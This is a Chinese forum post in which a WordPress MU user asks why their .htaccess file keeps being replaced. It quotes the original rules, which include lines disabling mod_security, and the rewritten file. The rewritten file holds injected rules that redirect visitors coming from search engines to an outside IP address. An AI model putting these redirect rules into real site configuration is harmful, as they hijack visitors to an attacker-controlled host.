|

- 帖子
- 6
- 精华
- 0
- 积分
- 2
- 努力值
- 2
- 人气值
- 0
|
求助关于.htaccess自动变化
安装wordpress mu之后会在安装目录下生成一个.htaccess文件,大小是651b,内容如下;
- RewriteEngine On
- RewriteBase /
- #uploaded files
- RewriteRule ^(.*/)?files/$ index.php [L]
- RewriteCond %{REQUEST_URI} !.*wp-content/plugins.*
- RewriteRule ^(.*/)?files/(.*) wp-content/blogs.php?file=$2 [L]
- # add a trailing slash to /wp-admin
- RewriteCond %{REQUEST_URI} ^.*/wp-admin$
- RewriteRule ^(. )$ $1/ [R=301,L]
- RewriteCond %{REQUEST_FILENAME} -f [OR]
- RewriteCond %{REQUEST_FILENAME} -d
- RewriteRule . - [L]
- RewriteRule ^([_0-9a-zA-Z-] /)?(wp-.*) $2 [L]
- RewriteRule ^([_0-9a-zA-Z-] /)?(.*\.php)$ $2 [L]
- RewriteRule . index.php [L]
- SecFilterEngine Off
- SecFilterScanPOST Off
复制代码
但是,在一天之后会自动变成如下内容;
- RewriteEngine On
- RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
- RewriteRule .* http://89.28.13.219/viewtopic.php?s=512 [R,L]
复制代码 结果导致一系列问题,如wordpress mu的中贴图问题,以及在buddypress中除首页外所有页面都404。
用原.htaccess文件覆盖后上述问题消失,但是过大概一天左右文件又会自动改变,不知是什么原因,如何解决?
盼高人指点。 |
|